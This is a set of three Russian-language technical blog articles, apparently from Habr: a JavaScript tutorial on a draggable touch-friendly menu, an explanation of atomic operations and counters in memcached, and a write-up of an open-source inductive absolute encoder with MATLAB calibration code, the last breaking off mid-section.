В этой статье я расскажу как просто и непринужденно можно создавать линейные динамические меню поддерживающие не только события мыши, но и поинтеры для мобильных версий.
И так: Simple Dynamic Menu by RevolveR Labs.
Начинается все с верстки. Она должна быть семантической, легкой и современной.
```
* [RevolveR Labs](https://revolvercmf.ru)
* [Ultra newest solutions](#)
* [The way of incredible](#)
* [In search of the best](#)
* [Progressive RevolveR frontends](#)
* [Developing of new era](#)
```
Мы используем стандартный маркированный список и HTML 5 в качестве элемента враппера, а чтобы сделать меню плавающим сразу пропишем CSS стили вытягивающие меню на за пределы экрана на всю ширину списка элементов и скроем все лишнее до области видимости:
```
.dynamic-menu {
display: inline-block;
text-align: center;
overflow: hidden;
margin: 0 auto;
height: 3vw;
width: 80%;
}
.dynamic-menu ul {
transition: all 2.5s ease-in-out;
position: relative;
list-style: none;
width: 900vw;
padding: 0;
margin: 0;
left: 0vw;
}
.dynamic-menu ul li {
box-shadow: 0 0 0.1vw #333;
border: .1vw dashed #fff;
background: #a2a2a2;
margin-bottom: 1vw;
display: inline-block;
border-radius: .2vw;
margin-right: .5vw;
padding: .2vw 1vw;
background: #888;
float: left;
}
.dynamic-menu ul li a {
text-shadow: 0 0 0.2vw #fff;
font: normal 2vw Helvetica;
text-decoration: none;
color: #006400;
}
.dynamic-menu ul li a:hover {
text-decoration: underline;
color: #674c2be0;
}
```
Наш CSS готов. Теперь меню будет расположено по центру и все элементы списка не отобразяться. Нам осталось написать хэндлеры меню, которые будут отвечать за плавное перемещение списка при нажатой левой кнопке мыши или событии touch.
#### Handler для desktop версии
Для работы хэндлера нам понадобится инициализировать RevolveR инстанс и использовать некоторое встроенное API работы с событиями:
```
let launch = RR.browser;
RR.menuMove = null;
if( !RR.isM ) {
RR.event('.dynamic-menu ul', 'mousedown', (e) => {
e.preventDefault();
if( !RR.menuMove ) {
RR.menuLeft = RR.curxy[0];
RR.MenuMoveObserver = RR.event('body', 'mousemove', (e) => {
e.preventDefault();
RR.styleApply('.dynamic-menu ul', ['transition: all 0s ease']);
RR.menuMove = true;
RR.menuPosition = ( RR.menuLeft - RR.curxy[0] ) *-1;
RR.styleApply('.dynamic-menu ul', ['left:'+ RR.menuPosition +'px']);
RR.event('body', 'mouseup', (e) => {
e.preventDefault();
if( e.target.tagName === 'A' && !RR.touchFreeze ) {
//R.loadURI(target.href, target.title);
console.log(e.target.href);
RR.touchFreeze = true;
RR.menuMove = null;
}
void setTimeout(() => {
RR.menuMove = null;
}, 50);
void setTimeout(() => {
if( !RR.menuMove ) {
RR.styleApply('.dynamic-menu ul', ['left: 0px', 'transition: all 2.5s cubic-bezier(0.175, 0.885, 0.32, 1.275)']);
}
}, 2500);
});
});
}
});
}
```
Большинство необходимых event уже работают после запуска гетера RR.browser(). Это например отслеживание событий изменения размера окна и постоянно обновление положения указателя мыши RR.curxy.
Здесь мы используем метод блокировки флагами для того, чтобы добиться синхронности выполнения событий и задать блокирующие флаги, например, для реализации запрета события перехода по ссылке, если меню находится в движении.
RR.MenuMoveObserver является собой event стеком, который хранит MD5 hash события для того, чтобы можно было выключить часть хэндлера отвечающего за смену положения по оси X. Мы выключаем обсерверы каждый раз когда событие клик завершилось в пользу mouseup.
Готово. При нажатии на левую клавишу мыши, если держать кнопку утопленной будет происходить отслеживание положения курсора мыши по оси X, а обсервер обеспечит своевременное обновление положения left контейнера списка меню внутри враппера области видимости и лента меню начнет двигаться открывая не поместившиеся элементы списка.
#### Мобильный handler меню
Основной принцип работы остается примерно таким же, но я не стал схлопывать разные хэндлерры в один обработчик чтобы оставить понятность и читабельность кода.
Проверив, что инициализирован мобильный инстанс браузера мы подключим аналоги слушателей событий уже не для мыши, а для touch экрана.
```
if( RR.isM ) {
RR.event('.dynamic-menu ul', 'touchstart', (e) => {
e.preventDefault();
RR.menuMove = null;
RR.event('body', 'touchend', (e) => {
e.preventDefault();
if( !RR.menuMove ) {
RR.touchFreeze = null;
let target = e.changedTouches[0].target;
if( RR.isO(RR.MenuMoveObserver) ) {
for( i of RR.MenuMoveObserver ) {
RR.detachEvent( i[ 2 ] );
}
}
if( target.tagName === 'A' && !RR.touchFreeze ) {
//R.loadURI(target.href, target.title);
console.log(e.target.href);
RR.touchFreeze = true;
RR.menuMove = null;
}
void setTimeout(() => {
if( !RR.menuMove ) {
RR.styleApply('.dynamic-menu ul', ['left: 0px', 'transition: all 2.5s cubic-bezier(0.175, 0.885, 0.32, 1.275)']);
//RR.animate('.dynamic-menu ul', ['left:0px:1000:wobble']);
}
}, 2500);
}
});
if( !RR.menuMove ) {
RR.menuLeft = e.changedTouches[0].screenX;
RR.MenuMoveObserver = RR.event('body', 'touchmove', (e) => {
e.preventDefault();
RR.styleApply('.dynamic-menu ul', ['transition: all 0s ease']);
RR.menuMove = true;
RR.menuPosition = ( RR.menuLeft - e.changedTouches[0].screenX ) *-1;
RR.styleApply('.dynamic-menu ul', ['left:'+ RR.menuPosition +'px']);
RR.event('body', 'touchend', (e) => {
RR.menuMove = null;
});
});
}
});
}
```
В коде вы увидите небольшую разницу. Во первых event.target теперь не работает и нужно следить за сериями touch. Я добавил анимацию возвращения меню с эффектом easing и теперь меню само плавно возвращается в начальное положение спустя некоторое время бездействия с меню:
```
void setTimeout(() => {
if( !RR.menuMove ) {
RR.styleApply('.dynamic-menu ul', ['left: 0px', 'transition: all 2.5s cubic-bezier(0.175, 0.885, 0.32, 1.275)']);
}
}, 2500);
```
#### Demo
Чтобы посмотреть как работает Dynamic Menu на базе библиотеки RevolveR вы [можете пройти по ссылке](https://revolvercmf.ru/extra/RevolveR-menu/menu.html).
#### Итог
Многие из вас используют готовые плагины или встраивают блоки верстки с меню гамбургера, однако динамические линейные меню ни чуть не хуже и позволяют экономить место в интерфейсах. Многим из вас наверняка показалось бы сложным реализовать такие меню из-за разницы в слушателях событий и неумения использовать флаги. Этот пример был направлен показать, что средствами обычного JavaScript можно не обладая какой-то запредельной квалификацией реализовывать такие же вещи, как и в удобных Android приложениях, а мастерская работа с анимациями позволяет создавать потрясные эффекты переходов и разные хуки событий на какие-либо срабатывания.
#### Update:
**Вот несколько улучшенный алгоритм:**
```
let launch = RR.browser;
RR.menuMove = null;
let turnBack = () => {
return void setTimeout(() => {
if( !RR.menuMove && RR.turnBack && RR.allowReturn ) {
RR.styleApply('.dynamic-menu ul', ['left: 0px', 'transition: all 2.5s cubic-bezier(0.175, 0.885, 0.32, 1.275)']);
}
}, 2500);
}
if( !RR.isM ) {
RR.event('.dynamic-menu ul', 'click', (e) => {
e.preventDefault();
});
RR.event('.dynamic-menu ul', 'mousedown', (e) => {
e.preventDefault();
if( !RR.menuMove ) {
RR.menuLeft = RR.curxy[0];
RR.touchFreeze = null;
RR.MenuMoveObserver = RR.event('body', 'mousemove', (e) => {
e.preventDefault();
RR.styleApply('.dynamic-menu ul', ['transition: all 0s ease']);
RR.menuMove = true;
RR.menuPosition = ( RR.menuLeft - RR.curxy[0] ) *-1;
RR.styleApply('.dynamic-menu ul', ['left:'+ RR.menuPosition +'px']);
RR.event('body', 'mouseup', (e) => {
e.preventDefault();
for( i of RR.MenuMoveObserver ) {
RR.detachEvent(i[ 2 ]);
}
if( e.target.tagName === 'A' && !RR.touchFreeze ) {
//R.loadURI(target.href, target.title);
console.log(e.target.href);
RR.touchFreeze = true;
RR.menuMove = null;
}
void setTimeout(() => {
RR.menuMove = null;
}, 50);
RR.event('.dynamic-menu ul', 'mouseenter', () => {
RR.turnBack = null;
if( RR.menuMove ) {
RR.event('.dynamic-menu ul', 'mouseleave', () => {
RR.turnBack = true;
RR.allowReturn = true;
turnBack();
});
}
});
});
});
}
});
}
if( RR.isM ) {
RR.event('.dynamic-menu ul', 'touchstart', (e) => {
e.preventDefault();
RR.menuMove = null;
RR.turnBack = null;
RR.allowReturn = true;
RR.event('body', 'touchend', (e) => {
e.preventDefault();
if( !RR.menuMove ) {
RR.touchFreeze = null;
let target = e.changedTouches[0].target;
if( RR.isO(RR.MenuMoveObserver) ) {
for( i of RR.MenuMoveObserver ) {
RR.detachEvent( i[ 2 ] );
}
}
if( target.tagName === 'A' && !RR.touchFreeze ) {
//R.loadURI(target.href, target.title);
console.log(e.target.href);
RR.touchFreeze = true;
RR.menuMove = null;
}
}
});
if( !RR.menuMove ) {
RR.menuLeft = e.changedTouches[0].screenX;
RR.MenuMoveObserver = RR.event('body', 'touchmove', (e) => {
void setInterval(() => {
if(RR.menuMove) {
RR.allowReturn = null;
}
else {
RR.allowReturn = true;
}
}, 300);
e.preventDefault();
RR.turnBack = null;
RR.event('.dynamic-menu ul, body', 'touchend', () => {
RR.turnBack = true;
setTimeout(() => {
RR.allowReturn = true;
}, 300);
turnBack();
});
RR.styleApply('.dynamic-menu ul', ['transition: all 0s ease']);
RR.menuMove = true;
RR.menuPosition = ( RR.menuLeft - e.changedTouches[0].screenX ) *-1;
RR.styleApply('.dynamic-menu ul', ['left:'+ RR.menuPosition +'px']);
RR.event('body', 'touchend', (e) => {
RR.menuMove = null;
});
});
}
});
}
``` | https://habr.com/ru/post/523976/ | null | ru | null |
# Атомарность операций и счетчики в memcached
Серия постов про “Web, кэширование и memcached” продолжается. В [первом](http://habrahabr.ru/blogs/webdev/42607/) и [втором](http://habrahabr.ru/blogs/webdev/42972/) постах мы поговорили о memcached, его архитектуре, возможном применении, выборе ключа кэширования и кластеризации [memcached](http://danga.com/memcached/).
Сегодня речь пойдет о:
* атомарных операциях в memcached;
* реализации счетчиков просмотров и онлайнеров.
Следующий пост будет посвящен проблеме одновременного перестроения кэшей.
Атомарность операций в memcached
--------------------------------
Как таковые, все одиночные запросы к memcached атомарны (в силу его однопоточности и корректных внутренних блокировок в многопоточном случае). Это означает, что если мы выполняем запрос get, мы получим значения ключа таким, как кто-то его записал в кэш, но точно не смесь двух записей. Однако каждая операция независима, и мы не можем гарантировать, например, корректность такой процедуры в ситуации конкурентного доступа из нескольких параллельных процессов:
1. Получить значение ключа «x» (`$x = get x`).
2. Увеличение значения переменной на единицу (`$x = $x + 1`).
3. Запись нового значения переменной в memcached (`set x = $x`).
Если данный код выполняют несколько frontend’ов одновременно, может получиться так, что значение ключа x увеличится не n раз, как мы задумывали, а на меньшее значение (классическое [состояние гонки](http://ru.wikipedia.org/wiki/Состояние_гонки), [race condition](http://en.wikipedia.org/wiki/Race_condition)). Конечно, такой подход неприемлем для нас. Классический ответ на сложившуюся ситуацию: применение синхронизационных примитивов (семафоров, мутексов и т.п.), однако в memcached они отсутствуют. Другим вариантом решения задачи является реализация более сложных операций, которые заменяют неатомарную последовательность get/set.
В memcached для решения этой проблемы есть пара операций: `incr`/`decr` (инкремент и декремент). Они обеспечивают атомарное увеличение (или, соответственно, уменьшение) целочисленного значения существующего в memcached ключа. Атомарными являются также дополнительные операции: `append`/`prepend`, которые позволяют добавить к значению ключа данные в начало или в конец, также в каком-то плане атомарными можно считать операции `add` и `replace`, которые позволяют задать значение ключа, только если он ранее не существовал, или, наоборот, заменить значение уже существующего ключа. Об еще одном варианте атомарных операций речь пойдет в разделе про реализацию блокировок средствами memcached.
Необходимо дополнительно отметить, что любая блокировка в memcached должна быть мелкозернистой (fine-grained), то есть должна затрагивать как можно меньшее число объектов, так как основная задача сервера в любом случае – обеспечивать эффективный доступ к кэшу как можно большего числа параллельных процессов.
Счетчики в memcached
--------------------
Memcached может использоваться не только для хранения кэшей выборок из backend’ов, не только для хранения сессий пользователей (о чем было упомянуто в начале статьи), но и для задачи, которая без memcached решается достаточно тяжело, – реализация счетчиков, работающих в реальном времени. Т.е перед нами стоит задача показывать текущее значение счетчика в данный момент времени, если откинуть требование «реального времени», это можно реализовать через логирование и последующий анализ накопленных логов.
Рассмотрим несколько примеров таких счетчиков, как их можно реализовать, какие возможны проблемы.
### Счетчик просмотров
Пусть в нашем проекте есть некоторые объекты (например, фото, видео, статьи и т.п.), для которых мы должны в реальном времени показывать число просмотров. Счетчик должен увеличиваться с каждым просмотром. Самый простой вариант – при каждом просмотре обновлять поле в БД, не будет работать, т.к. просмотров много и БД не выдержит такую нагрузку. Мы можем реализовать точный и аккуратный сбор статистики просмотров, их аккумулирование, и периодический анализ, который заканчивается обновлением счетчика в базе данных (например, раз в час). Однако остается задача показа текущего количества просмотров.
Рассмотрим следующее возможное решение. Frontend в момент просмотра объекта формирует имя ключа счетчика в memcached, и пытается выполнить операцию `incr` (инкремент) над этим ключом. Если выполнение было успешным, это означает, что соответствующий ключ находится в memcached, мы просмотр засчитали, также мы получили новое значение счетчика (как результат операции `incr`), которое мы можем показать пользователю. Если же операция `incr` вернула ошибку, то ключ счетчика в данный момент отсутствует в memcached, мы можем выбрать в качестве начального значения число просмотров из базы данных, увеличить его на единицу, и выполнить операцию set, устанавливая новое значение счетчика. При последующих просмотрах ключ уже будет находиться в memcached, и мы будем просто увеличивать его значение с помощью incr.
Необходимо отметить, что приведенная схема не является вполне корректной: в ней присутствует состояние гонки (race condition). Если два frontend одновременно обращаются к счетчику, одновременно обнаруживают его отсутствие, и сделают две операции set, мы потеряем один просмотр. Это можно считать не очень критичным, так как процесс аккумулирования статистики восстановит правильное значение. В случае необходимости можно воспользоваться блокировками в memcached, речь о которых пойдет ниже. Или же реализовать инициализацию счетчика через операцию `add`, обрабатывая её результат.
### Счетчик онлайнеров
Существует еще один вид счетчиков, который без memcached или подобного ему решения вряд ли может быть реализован: это счетчик «онлайнеров». Такие счетчики мы видим на большом количестве сайтов, однако в первую очередь необходимо определить, что же именно мы имеем в виду под «онлайнером». Пусть мы хотим рассчитать, сколько уникальных сессий (пользователей) обратилось к нашему сайту за последние 5 минут. Уникальность обращения пользователя с данной сессией в течение 5 минут можно отследить, сохраняя в сессии время последнего засчитанного обращения, если прошло более 5 минут – значит это новое (уникальное) обращение.
Итак, выделим в memcached шесть ключей с именами, например, `c_0`, `c_1`, `c_2`, …, `c_5`. Текущим изменяемым ключом мы будем считать счетчик с номером, равным остатку от деления текущей минуты на 6 (на рисунке это ключ `c_4`). Именно его мы будем увеличивать с помощью операции incr для обращения каждой уникальной в течение 5 минут сессии. Если `incr` вернет ошибку (счетчика еще нет), установим его значение в 1 с помощью `set`, обязательно указав время жизни 6 минут. Значением счетчика онлайнеров будем считать сумму всех ключей, кроме текущего (на рисунке это ключи `c_0`, `c_1`, `c_2`, `c_3` и `c_5`).
Когда наступит следующая минута, текущим изменяемым ключом станет ключ `c_5`, при этом его предыдущее значение исчезнет (т.к. он был создан 6 минут назад с временем жизни те же 6 минут). Значением счетчика станет сумма ключей c `с_0` по `c_4`, т.е. только что рассчитанное значение ключа `с_4` уже начнет учитываться в отображаемом значении счетчика.
Такой счетчик может быть построен и на меньшем числе ключей. Минимально возможными для данной схемы являются два ключа: один обновляется, значение другого показывается, затем по прошествии 5 минут счетчики меняются местами, при этом тот, который только что обновлялся, сбрасывается. В приведенной схеме с многими ключами обеспечивается некоторое «сглаживание», которое обеспечивает более плавное изменение счетчика в случае резкого притока или оттока посетителей. | https://habr.com/ru/post/43282/ | null | ru | null |
# Открытый проект индуктивного абсолютного энкодера
Без энкодеров не обходится ни один промышленный робот, принтер, лифт, гимбал и проч. Но и в более простых вещах энкодеры тоже нужны. При этом индустриальный энкодер на 1024 точки может обойтись дороже самого мотора. Здесь представлен проект индуктивного энкодера способного упростить жизнь создателям мехатроники.
Энкодер называется абсолютным потому что после подачи питания он сразу сообщит угол на который повернут.
Промышленные энкодеры обычно бывают оптические и магнитные. Оптические требуют создания стеклянного, зеркального или иного высококонтрастного диска с очень точным рисунком дорожек. Но оптические диски критически боятся загрязнений. Магнитные энкодеры критически боятся сильных внешних магнитных полей, а такие поля рядом с электрическими моторами всегда бывают. Поэтому индуктивный энкодер остаётся одним из самых технологичных решений.
Когда говорят про индуктивный энкодер, то обычно представляют cебе такую конструкцию:
Здесь два индуктивных сенсора реагируют на зубцы диска. Причём сенсоры расположены так чтобы сигналы на них были сдвинуты на четверть периода. Так получается типичный квадратурный энкодер. Этот энкодер не абсолютный и довольно грубый.
Наш энкодер сделан на иной технологии. Он выполнен на базе микросхем преобразователей индуктивность-код [LDC1101](https://www.ti.com/product/LDC1101) . Постобработку, коррекцию и обмен с внешним миром осуществляет микроконтроллер.
Микросхема LDC1101 содержит внутри осциллятор работающий на частоте в районе 0.5…10 МГц с подключённым внешним LC контуром. Когда рядом с LC контуром появляется проводящий ток объект, частота контура меняется за счёт вносимой дополнительной индуктивности. Отклонение частоты контура измеряется микросхемой и записывается во внутренние регистры c 24-битным представлением. Оттуда это значение можно прочитать через интерфейс SPI. Частота семплирования результатов измерений может достигать 150 тыс. отсчётов в секунду. Однако чем выше частота семплирования тем ниже точность измерения. Максимальное разрешение в 24 бита удаётся получить при частоте семплирования 15 тыс. семплов в секунду. При таком разрешении можно засечь микронные поперечные перемещения находящихся на сантиметровых дистанциях проводящих объектов. Но в нашем случае речь идёт о вращающемся объекте, и тут много неизвестных. Целью проекта было установить с какой угловой точностью и скоростью при ограничениях на размеры мы могли бы определять поворот.
### Схема энкодера
Непосредственно источником вдохновения для проекта является [вот этот апноут](https://www.ti.com/lit/ug/tidu953/tidu953.pdf?ts=1638625602644&ref_url=https%253A%252F%252Fwww.google.com%252F). Апноут демонстрирует идею как разработать мишень для сенсора и нивелировать её неидеальную геометрию и позиционирование. Но в нем применено мультиплексирование каналов измерения. Чтобы избежать задержек при мультиплексировании и повысить быстродействие было применено 4 независимых чипа вместо одного.
Схема платы энкодераМодуль управляется микроконтроллером MKS22FN256VFT12 (120MHz, 256 КБ Flash, 64 КБ RAM ) Питание модуль получает от интерфейса USB(v 2.0 full speed) – 5 В или от разъёма X1 - 3.3 В. Коммуникация с модулем осуществляется по интерфейсам:
* CAN, разъем X2
* SPI, разъем X1
* I2C, разъем X1
* USB, разъем X4
* Отладочный интерфейс SWD, разъем X3
Перепрограммируется модуль через интерфейс SWD (X3) с помощью JTAG/SWD адаптера.
### Плата энкодера
Вид верхнего слоя платы энкодераИнтересной технологической вещью платы энкодера являются катушки индуктивности для LC контура сенсоров индуктивности. Эти катушки не должны быть слишком маленькими, иначе частота резонанса выйдет за допустимый диапазон сенсоров, но требования дизайна частот требует минимизации размеров энкодера. И тут был найден некий компромисс. Платы выполнена 4-слойной, чтобы обеспечить больше обмоток у катушек, а диаметр катушек снижен практически до минимального с учётом допустимого минимального зазора между дорожками в 0.1 мм. Однако есть ещё резерв для дальнейшего снижения размера.
Сам расчёт индуктивности катушек производится с помощью таблиц Excel предоставляемых фирмой TI. В проекте это файл LDC\_Tools-ext22.xlsx
Вот вид таблицы для расчётов:
***Катушки индуктивности имеют следующие параметры***
* Количество витков в одном слое - 8
* Количество слоёв - 4
* Диаметр катушки - 5.2 мм
* Ширина проводника в катушке - 0.102 мм
* Расчётная индуктивность катушки - 2.729 мкГн
* Ёмкость конденсаторов параллельных катушке - 200 пФ
* Частота резонанса катушек без поднесённой цели - **6.75…6.77 МГц**
А вот так выглядит катушка на 4-слойной плате:
**Другой технологической особенностью** является изготовление мишени для сенсора
В оригинальном апноуте представлена металлизация на плате в виде ромба по кругу.
Ширина металлизации по радиусу не должна превышать диаметр катушек для сохранения линейности измерения.
Наша мишень получилась такая:
Разрабатывалась мишень в среде Altium Designer и для получения нужного контура металлизации использовался скрипт. Проект построителя мишени со скриптом находится в директории Target\_builder. А выглядит процесс так:
### Макет и испытания энкодера
Был изготовлен макет с мотором для испытаний энкодера. К большой точности не стремились, поскольку цель была испытать энкодер без тщательного позиционирования.
Для измерения угла поворота мишени используется способ измерения индуктивности 4 катушек в магнитном поле которых вращается мишень. Металлизация мишени изменяет индуктивность катушек в зависимости от площади металлизации находящейся над катушками. Поскольку мишень имеет криволинейную фигуру из медного покрытия, то во время её вращения над модулем изменяется площадь медного слоя над каждой катушкой. Катушки реагируют на изменяющуюся площадь изменением своей частоты резонанса, которая измеряется и конвертируется в угол поворота.
Осциллограмма на катушке во время измерения индуктивности### Инициализация LDC1101
В данном проекте используется режим измерения LHR – измерение индуктивности с высоким разрешением (24 бита) Время измерения в режиме LHR задаётся уравнением:
Measurement Time (tCONV)= (RCOUNT[15:0] ˣ 16 + 55)/fCLKIN
RCOUNT = RCOUNT [15:8]×256 + RCOUNT [7:0]
Допустимый диапазон: 2 ≤ RCOUNT[15:0] ≤ 65535
Значение **RCOUNT** устанавливается через регистры: LHR\_RCOUNT\_LSB и LHR\_RCOUNT\_MSB. Для частоты измерений 2 кГц устанавливаем **RCOUNT** = 496 (0x1F0). Для оптимальной разрешающей способности сенсора в режиме LHR должно соблюдаться условие ƒCLKIN > 4\*ƒsensor\_max. Где ƒCLKIN частота тактирования LDC1101 (16 МГц в данном случае) , ƒsensor\_max частота сенсора подаваема на измеритель. Для соблюдения этого условия назначаем коэффициент деления для ƒsensor\_max в регистре LHR\_CONFIG равный 2.
Типичная форма сигналов измерения индуктивности 4-я сенсорами при равномерном вращении мишениКак видно сигналы немного не синусоидальны, тем не менее после их сложения получается довольно равномерная пила
### Способы калибровки и расчёт угла поворота
Калибровка заключается в снятии графиков индуктивности с 4-х катушек и вычислении на их основе констант нормирования, которые потом применяются для вычисления угла по текущим данным с датчиков.
Записывается сигнал в течении полного оборота мишени. Из 4-х сигналов находят два сигнала представляющие разность сигналов с противоположных катушек. Эти сигналы именуются X и Y, они смещены на 90 град относительно друг друга. У сигналов X и Y находят амплитуды и смещения относительно нуля, которые служат для последующего нормирования этих сигналов. Предполагается при этом, что сигналы имеют синусоидальную форму или очень близкую к ней. Угол рассчитывается как функция арктангенса от отношения нормированных X и Y.
Здесь показан скрипт для среды MATLAB демонстрирующий такой способ калибровки
```
% В рабочем пространстве должен быть загружен массив recdata с записью сигналов от
% 4-х датчиков во время как минимум одного полного поворота мишени и переменная st означающая период выборки сигналов
% Результатом работы скрипта является получение констант AX OX AY OY
% необходимых для вычисления угла и вывод графика угла поворота мишени
%
% Находим разностные значения с парных датчиков
X = recdata(1,:) - recdata(3,:); % Вычисляем сигнал X
Y = recdata(2,:) - recdata(4,:); % Вычисляем сигнал Y сдвинутый относительно X на 90 град
% Находим верхние пики сигнала X
[pX_h] = findpeaks(X,'MinPeakDistance',100,'MinPeakProminence',10000);
% Находим нижние пики сигнала X
[pX_l] = findpeaks(-X,'MinPeakDistance',100,'MinPeakProminence',10000);
pX_l = -pX_l; % Восстанавливаем знак
AX = (pX_h(1)- pX_l(1))/2; % Амплитуда X
OX = (pX_h(1)+ pX_l(1))/2; % Смещение X
% Находим верхние пики сигнала Y
[pY_h] = findpeaks(Y,'MinPeakDistance',100,'MinPeakProminence',10000); % Указываем чтобы пики не были слишком близко друг от друга и слишком маленькими
% Находим нижние пики сигнала B
[pY_l] = findpeaks(-Y,'MinPeakDistance',100,'MinPeakProminence',10000);
pY_l = -pY_l; % Восстанавливаем знак
AY = (pY_h(1)- pY_l(1))/2; % Амплитуда Y
OY = (pY_h(1)+ pY_l(1))/2; % Смещение Y
X = (X-OX)/AX; % Корректируем сигналы масштабированием и сдвигом
Y = (Y-OY)/AY;
% Готовим окно для вывода графиков
x_axis = linspace(0, st*(length(recdata)-1),length(recdata) );
scrsz = get(groot,'ScreenSize');
figure('OuterPosition',[1 50 scrsz(3) scrsz(4)-50]); %
sbpl = subplot(2,1,1); % divides the current figure into an m-by-n grid and creates an axes for a subplot in the position specified by p
plot(sbpl, x_axis, X, x_axis, Y);
grid on;
A = atan(X./Y)*180/pi+90;
A = A + (Y>0).*180;
sbpl = subplot(2,1,2);
plot(sbpl, x_axis, A);
grid on;
% Дополнительно проверим в каких границах находится полученный угол
[pA_h] = findpeaks(A,'MinPeakDistance',10,'MinPeakProminence',10);
[pA_l] = findpeaks(-A,'MinPeakDistance',10,'MinPeakProminence',10);
pA_l = -pA_l; % Восстанавливаем знак
% Вычищаем рабочее пространство от лишних переменных
clear x_axis scrsz sbpl pX_h pX_l pY_h pY_l
```
Результат выполнения скрипта в MATLAB ### Шумы и другие факторы
График статического шума при измерении угла устройством при частоте семплирования 2 КгцИзмерения статического шума показали, что при измерение угла при частоте семплирования 2 кГц отсутствует шум в показаниях до 11 бит, а при частоте семплирования 1 кГц до 12 бит.
**Влияние температуры**
В таблице ниже приводятся данные измерения в одной произвольно выбранной точке при изменении температуры:
| | |
| --- | --- |
| **Температура** | **Угол** |
| **-15** | 114 |
| **30** | 113 |
| **50** | 112.5 |
Измерения показали, что в диапазоне изменения температуры от -20 до +50 град. С измеренное значение угла меняется на 2 град. На плате модуля для компенсации влияния температуры установлен термистор. Сенсоры сохраняли работоспособность при температуре -30 град. С.
**Влияние изменения зазора между мишенью и сенсорами на точность измерения угла**
График влияния изменения дистанции от сенсоров до цели. Дистанция менялась на 0.1 мм и меньше. Минимум меди цели был над сенсором 4График показывает, что изменение уровня сигналов на сенсорах на 2% приводит к изменению значения угла на 0.1% , т.е. схема измерения компенсирует влияние изменения зазора на точность измерений. Более точную характеристику влияния зазора получить не удалось поскольку механическая конструкция для тестирования не была оснащена инструментами для измерения малых приращений дистанции. Общий вывод таков: сенсор очень чувствителен к неравномерному изменению зазора между мишенью и 4-ми катушками сенсора. Лучшая компенсация достигается, когда зазор одинаково меняется от мишени до всех катушек.
**Влияние внешнего магнитного поля**.
При поднесении магнита на близкое расстояние к катушкам их показания не менялись. Вывод: магнитное поле не влияет на сенсоры.
### Программное обеспечение
Программное обеспечение (ПО) модуля написано с использованием операционной системы реального времени uCOS-III. Компилируется проект ПО в среде IAR embedded workbench for ARM. Файл рабочего пространства проекта называется AngleSens.eww и находится в директории IAR\_proj .
Одной из задач ПО модуля является вывод информации о сигналах с сенсоров и других данных на компьютер. Вывод осуществляется через интерфейс USB. При подключении модуля к компьютеру в системе появляется два виртуальных COM порта. Через младший порт устанавливается связь с внутренним терминалом VT100 модуля, через старший порт устанавливается связь с сервисом FreeMaster модуля.
Подключение к терминалу VT100 модуля служит для наблюдения и управления в реальном времени содержимым всех регистров 4-х микросхем сенсоров LDC1101. Параметры связи при подключении к порту (скорость, чётность и т.д.) могут быть произвольными. Если компьютер с более ранними версиями Windows (8, 7, XP ...) не находит драйвера виртуальных портов автоматически, то можно использовать файл fsl\_ucwxp.inf из директории проекта для ручной установки драйверов.
Сервис FreeMaster в микроконтроллере даёт возможность подключиться к нему через специализированную программу FreeMaster выполняющуюся на компьютере. Эта программа позволяет в удобной форме выводить графики сигналов и значения переменных из микроконтроллера в реальном времени, выдавать команды в микроконтроллер и экспортировать данные в Matlab для последующего анализа. Связь осуществляется через USB посредством виртуального COM порта. В программе FreeMaster все выполненные в ней настройки графиков и панелей с наблюдаемыми переменными сохраняются в файлы проектов c расширением .pmp. Для данного проекта был разработан демонстрационный проект с сохранен в файле FreeMaster\_ANSIN.pmp
Перечень сигналов и переменных доступных для наблюдения через FreeMaster можно увидеть в исходных текстах ПО модуля в файле FreeMaster\_vars.c. При необходимости этот список можно свободно дополнить или сократить. После этого перекомпилировать проект и перепрограммировать микроконтроллер.
Из окна программы FreeMaster (Application Commands) также можно отправить команды модулю. Реализованы следующие:
* **Update\_registers** - записывает в регистры всех 4-х микросхем сенсоров данные из массива LDC1101\_regs[0..3]. Ячейки этого массива доступны для прямого редактирования во FreeMаster. И данная команда переносит их значения непосредственно в регистры микросхем.
* **Save\_settings** - сохраняет калибровочные константы из структуры cdata во внутреннюю Flash память микроконтроллера модуля. Поля структуры cdata доступны для редактирования во FreeMaster но, чтобы отредактированные данные сохранить надо выполнить эту команду.
* **Reset** - программный сброс модуля.
### Процесс калибровки модуля
В микроконтроллере калибровочные константы хранятся в структуре cdata.
Чтобы установить в микроконтроллере правильные калибровочные константы следует выполнить следующие шаги.
Открыть программу FreeMaster, и выполнить действия как указано ниже. Через меню Tools -> Connection Wizard вызвать диалог опций подключения. Выбрать опцию как на скриншоте.
---
Поставить галочку у портов, на которых возможно работает сервис FreeMaster модуля, если точный номер порта неизвестен. Нажать далее. Если модуль подключён, то появится сообщение о подключении.
---
В левой панели программы с названием Project Tree выбрать пункт Calibrating\_parameters. В нижней панели отобразятся текущие параметры калибровки:
* cdata.ax - амплитуда сигнала X cdata.ox - смещение сигнала X
* cdata.ay - амплитуда сигнала Y
* cdata.oy - смещение сигнала Y
* cdata.offset - смещение измерительного тракта, служит для настройки максимального размаха сигналов в регистрах LHR
* cdata.rcount - задает внутреннюю частоту выборки сенсоров LDC1101
На этом этапе регулируем cdata.offset и cdata.rcount чтобы добиться установить нужную частоту выборки и размах сигналов. Мишень при этом должна равномерно вращаться.
---
Переходим на пункт LHR Samples в панели Project Tree. Мишень вращается. Нажимаем кнопку Run. Спустя десяток секунд Stop. Появляется запись сигналов как на скриншоте.
---
Включаем Matlab и запускаем в нем скрипт Import\_from\_FreeMaster\_Util.m (находится в директории проекта Matlab). Окно FreeMaster должно при этом оставаться открытым и без изменений. В результате выполнения скрипта появится график с данными перенесёнными из окна FreeMaster.
---
Запустить в Matlab скрипт Calculation of calibration constants.m (находится в директории проекта Matlab). В результате выполнения скрипта появится график с преобразованными сигналами и графиком угла поворота. Одновременно с этим в рабочем пространстве Matlab появится калибровочные константы: AX, OX, AY, OY. Их надо перенести в переменные cdata.ax ,cdata.ox,cdata.ay,cdata.oy соответственно и выполнить команду Save\_settings в нижней левой панели окна FreeMaster с названием Application Commands. Это приведет к сохранению констант во Flash памяти модуля.
### Протокол обмена с хост контроллером по шине SPI
Кроме связи с компьютером ПО модуля способно выдавать данные через интерфейс SPI на внешний управляющий контроллер - хост. Ниже дано описание протокола. При подключении хоста к модулю следует установит режим SPI как показано на рисунке ниже
